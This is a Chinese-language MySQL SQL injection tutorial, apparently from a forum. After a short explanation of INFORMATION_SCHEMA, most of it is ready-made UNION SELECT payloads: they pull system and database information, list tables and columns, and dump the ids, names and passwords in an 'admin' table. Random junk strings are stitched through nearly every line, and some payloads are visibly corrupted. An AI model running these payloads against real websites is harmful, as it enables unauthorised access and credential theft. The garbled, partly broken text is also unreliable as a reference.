本文介绍MYSQL盲注的一些语句和方法
R: o% U3 f( Y7 X K2 y% Y) u: g+ w* d: e" T
学习盲注前先了解下 IFORMATION_SCHEMA 库
* N7 Q3 B2 J X$ X2 d+ m* b: H+ k1 L: b, _
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
; d+ v" U, n3 m% a0 c; V存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
6 _: S2 p1 d, d! c. q1.得到所有数据库名:
$ }3 x* Y( o1 j# Y1 R. w5 ~; G* w|SCHEMATA ->存储数据库名的表1 b2 k0 `' u4 X7 t W ^$ I0 k& ~
|---字段:SCHEMA_NAME ->数据库名称
+ `4 B+ t4 y5 _. H. R+ F0 f- t+ E2 v9 U5 {
|TABLES ->存储表名) e6 m7 v* r. s. Z$ @( `1 L
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
2 V3 Q( [, D8 M4 P|---字段:TABLE_NAME ->存储表的表名1 q; x8 {" g- W. G I
9 _! d: I d/ M3 c) O; }
|COLUMNS ->存储的字段名表, o8 L2 g3 ~: M2 [1 Q
|---字段:TABLE_SCHEMA ->该字段所属数据库名
4 [/ B5 R& T/ k! A|---字段:TABLE_NAME ->存储所属表的名称
$ Q5 \; N* l7 s' P( I
: ]6 f7 C* N- l- G|---字段:COLUMN_NAME ->该字段的名称: s4 C& z) ]5 i; b; `
' \: d* x4 f8 K3 T) t0 F ' D: Y. r0 I8 m$ p" y
9 A; Y( i% a/ W6 v###########################################################################1 i) x9 X' S/ K* q9 u v8 Q
) N/ |4 s3 h& c0x001 获取系统信息:
& ~ N ?' ~: B" a$ @$ O
# x2 C. r1 ^9 P+ ^7 _ punion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*+ p4 o9 a7 t, F
" Y3 H4 Y7 ]+ M& l, n& t/*
1 b v4 d2 |/ ^: c% X! M
8 _3 k- }- [. h" {" F% Q' {@@global.version_compile_os 获取系统版本
& A8 `% _4 X, |5 S* {8 j/ Y8 v: b- x5 E8 M4 u
@@datadir 数据库路径
0 S5 v$ p2 G. ^3 K/ o$ P6 Tdatabase() 当前数据库名称
0 o: l- a" s0 W, Z* t$ C6 J# k0x3c62723e 换行HEX值! e5 X2 p( q4 ]" C: L8 A& {" W
- b3 y: J+ l6 U% s8 @& ~ Y
*/
' N0 H7 g# o: K4 s
/ M |3 d0 k' ^! V3 u 0 O! A1 _" q) V+ Y
% S: f+ z* T! T1 V) T6 I
######################################################################0 q7 \3 ~0 y& F) d
) G# a& `& |3 R7 l5 Y9 B) q0x002 获取表名
# s2 f4 |5 |. O, V6 B/ c8 l l: X, Q0 z- q3 z3 e
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*) o' R9 y, I$ z3 ^0 h3 z
: s) |$ m2 c5 S% [: x ' G' T H- L: \/ Z
6 J: v/ a9 A( g0 N8 e/*
" p# L. z; m% F8 M) t
6 ^8 b- d! X. X8 u6 z6 Y4 P8 F0x67617264656e 为当前数据库名
/ s2 o1 w$ B1 F9 y1 i4 w' j1 O- n3 Z8 c" c4 H: ?/ x
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
& t+ [! d$ N4 @+ f
" I0 E0 E# T4 r*/
9 W+ J' V( J, y1 L0 t2 g
9 Y" L0 ?, I8 g& [######################################################################
( W: x( G' g7 s2 N5 L( ?/ \3 ]! x8 K2 @
. x2 N! n2 i$ }! A" z& `- ~
$ ]1 X8 c7 c6 v8 h% j
0x003 获取字段# ?5 S9 h7 w) H4 A: t1 ^$ R7 o8 u
; V# H2 Y* x$ u$ O& _, ?0 ounion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*' {# D' w4 d' ^+ f
/ E, I: X& o; Z2 n% |/*4 v- `: P. a2 S8 k* B* X( _
: t- b# Z* |: z4 [3 Wgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段6 {9 G" L9 ]+ y
6 z/ w$ L$ }/ o0 s0x61646d696e ->选择一个表
/ a0 Q5 {. p) ?9 \- h( R- O4 ^' f9 d2 a
0x67617264656e ->数据库名
3 r8 \9 i! B" u* N. T# R+ h! _8 J% ]6 Q7 M
*/3 a4 g0 l% G C& L! i6 @: J
# Z+ T+ g7 x& r- d# Q. i- c6 k#####################################################################
0 l6 z' G0 V+ ^; w- F4 g# U' b/ s* b4 U" @/ { Q
/ q( U. P" @: s3 o7 o
) f, [' o' j. o$ [! t
0x004 获取数据
! ~% {) I8 M( {: m
O# J( a6 q. i& w" \: T$ Eunion select 1,2,39 \/ x( G3 p! ^' _# v2 r& `
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin* _1 ?! S0 v7 H1 k. a: x, f
& ~5 H, K" q, @- u* J3 F! R% c8 tunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin$ m. y. b7 P8 D" ?
' `3 ~% n( H# \9 e1 P
1 M$ G/ k4 S6 l4 O% ]
2 q. v* u: T: p4 m/*
5 j m8 q: z- ^: h' V2 M j6 ?" h4 V$ b! s
0x3c62723e 换行符号HEX编码3 N. \ |7 ?/ D. Q. t- m+ i: P
( Z0 W4 l0 m, ~- z4 `2 o/ Y
group_concat 同时获得该字段所有数据
6 T2 y0 ]' v- |( d0 t5 f; s: X3 f: U4 Y/ h0 L7 }8 R. Z
*/
3 H ^4 k L A W1 I4 |. l& B& H( n& V, U6 T; ]. i
|